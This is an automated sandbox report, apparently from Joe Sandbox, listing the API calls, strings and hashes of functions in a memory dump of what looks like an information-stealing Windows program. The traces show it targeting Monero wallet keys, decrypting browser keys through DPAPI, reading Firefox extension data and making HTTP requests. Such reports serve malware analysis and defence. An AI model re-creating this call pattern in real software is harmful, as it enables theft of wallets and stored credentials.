Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DA8B60: GetSystemTime.KERNEL32(00DB0E1A,0194AF40,00DB05AE,?,?,00D913F9,?,0000001A,00DB0E1A,00000000,?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DA8B86

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D9A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00D9A3FF
lstrlen.KERNEL32(00000000), ref: 00D9A6BC

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

DeleteFileA.KERNEL32(00000000), ref: 00D9A743

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d8f6d2e3fff20d42c0fb6ee41ebb65c52275d8e07c1bfffd309859584e80fd64
Instruction ID: ff5e558805fd9f565cafa33c1a705ddc43f204822b813ee9a4cbaa3a6fdc3415
Opcode Fuzzy Hash: d8f6d2e3fff20d42c0fb6ee41ebb65c52275d8e07c1bfffd309859584e80fd64
Instruction Fuzzy Hash: 4FE1C8728101189BDB49EBB8DC92EEE7338EF15300F508669F517B6091EF346A49CB76

Function 00D9D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DA8B60: GetSystemTime.KERNEL32(00DB0E1A,0194AF40,00DB05AE,?,?,00D913F9,?,0000001A,00DB0E1A,00000000,?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DA8B86

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D9D801
lstrlen.KERNEL32(00000000), ref: 00D9D99F
lstrlen.KERNEL32(00000000), ref: 00D9D9B3
DeleteFileA.KERNEL32(00000000), ref: 00D9DA32

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a8ebfdfac231de1c72278f818975618d883338bae287222aa23717d9a72b2569
Instruction ID: 40b62112da9ed595b1281364c754c5825f421c3587608531f4865b90b1f3973d
Opcode Fuzzy Hash: a8ebfdfac231de1c72278f818975618d883338bae287222aa23717d9a72b2569
Instruction Fuzzy Hash: 2C810E729101189BCB44FBB8DC96EEE7339EF15300F504629F507A6091EF346A09DBB6

Function 00D9F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D999EC
Part of subcall function 00D999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D99A11
Part of subcall function 00D999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D99A31
Part of subcall function 00D999C0: ReadFile.KERNEL32(000000FF,?,00000000,00D9148F,00000000), ref: 00D99A5A
Part of subcall function 00D999C0: LocalFree.KERNEL32(00D9148F), ref: 00D99A90
Part of subcall function 00D999C0: CloseHandle.KERNEL32(000000FF), ref: 00D99A9A

Part of subcall function 00DA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DA8E52

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00DB1580,00DB0D92), ref: 00D9F54C
lstrlen.KERNEL32(00000000), ref: 00D9F56B

Strings

moz-extension+++, xrefs: 00D9F5AD
^userContextId=4294967295, xrefs: 00D9F59C

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d2876d1c1dbc0075b0ffaf4f5937420ef7bba41e187747800e1756ef6ca79fe2
Instruction ID: d5ad47de369a91eed3e806e161b7b4605628c1473b5157d85b525c087bd62d51
Opcode Fuzzy Hash: d2876d1c1dbc0075b0ffaf4f5937420ef7bba41e187747800e1756ef6ca79fe2
Instruction Fuzzy Hash: 8751EE75D10108AADB44FBB8DC96DEE7778EF55300F408629F817A6191EF346A09CBB2

Function 00D99CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00D999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D999EC
Part of subcall function 00D999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D99A11
Part of subcall function 00D999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D99A31
Part of subcall function 00D999C0: ReadFile.KERNEL32(000000FF,?,00000000,00D9148F,00000000), ref: 00D99A5A
Part of subcall function 00D999C0: LocalFree.KERNEL32(00D9148F), ref: 00D99A90
Part of subcall function 00D999C0: CloseHandle.KERNEL32(000000FF), ref: 00D99A9A

Part of subcall function 00DA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DA8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D99D39

Part of subcall function 00D99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D94EEE,00000000,00000000), ref: 00D99AEF
Part of subcall function 00D99AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D94EEE,00000000,?), ref: 00D99B01
Part of subcall function 00D99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D94EEE,00000000,00000000), ref: 00D99B2A
Part of subcall function 00D99AC0: LocalFree.KERNEL32(?,?,?,?,00D94EEE,00000000,?), ref: 00D99B3F

Part of subcall function 00D99B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D99B84
Part of subcall function 00D99B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00D99BA3
Part of subcall function 00D99B60: LocalFree.KERNEL32(?), ref: 00D99BD3

Strings

DPAPI, xrefs: 00D99D89
"encrypted_key":", xrefs: 00D99D30
, xrefs: 00D99DC1

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d1c29efd9334dbb41e2883f9b56df8a37a8e6134ab5e12d68c02d612e15ef43c
Instruction ID: 350aeba7058d609c951ee852f1a00c97ebc53eb06ba8b8ef5bd9f7b03fbfe776
Opcode Fuzzy Hash: d1c29efd9334dbb41e2883f9b56df8a37a8e6134ab5e12d68c02d612e15ef43c
Instruction Fuzzy Hash: CA3110B6D10109ABCF04EBE8DC96AEFB7B8EF49304F544519E905A7241EB349A04CBB5

Function 00DA6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01949530,?,00DB110C,?,00000000,?,00DB1110,?,00000000,00DB0AEF), ref: 00DA6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DA6AE8
CloseHandle.KERNEL32(00000000), ref: 00DA6AF9
Sleep.KERNEL32(00001770), ref: 00DA6B04
CloseHandle.KERNEL32(?,00000000,?,01949530,?,00DB110C,?,00000000,?,00DB1110,?,00000000,00DB0AEF), ref: 00DA6B1A
ExitProcess.KERNEL32 ref: 00DA6B22

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e7830e594016f9c13dc8eaaa796cc12718231e87799dfbb58a797cc6832cb9b4
Instruction ID: b0c75e96e5bac69d3c0093be33e7293729c258008a6934361218e1af433d0ed2
Opcode Fuzzy Hash: e7830e594016f9c13dc8eaaa796cc12718231e87799dfbb58a797cc6832cb9b4
Instruction Fuzzy Hash: 8AF0F870A4021DEBE710ABB0DC0ABBE7B74FB06701F184615B912A51D1DBB0D940EABA

Function 00D947B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D94839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00D94849

Strings

<, xrefs: 00D947C9

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: a59ae3d6fc2a816fdfa37d1b05826232ea6f60fd4ca90ca1b336892a766834f9
Instruction ID: 1e67a70b740644dafcae8de6d7b2dbaafbb8d47e985b23095564f7908d79dc82
Opcode Fuzzy Hash: a59ae3d6fc2a816fdfa37d1b05826232ea6f60fd4ca90ca1b336892a766834f9
Instruction Fuzzy Hash: 7C213EB1D01209ABDF14DFA4E945BDE7B79FB45320F108625F915AB280EB706A09CBA1

Function 00DA51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D96280: InternetOpenA.WININET(00DB0DFE,00000001,00000000,00000000,00000000), ref: 00D962E1
Part of subcall function 00D96280: StrCmpCA.SHLWAPI(?,0194EED0), ref: 00D96303
Part of subcall function 00D96280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D96335
Part of subcall function 00D96280: HttpOpenRequestA.WININET(00000000,GET,?,0194E4A0,00000000,00000000,00400100,00000000), ref: 00D96385
Part of subcall function 00D96280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D963BF
Part of subcall function 00D96280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D963D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DA5228

Strings

ERROR, xrefs: 00DA521A
ERROR, xrefs: 00DA5273

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
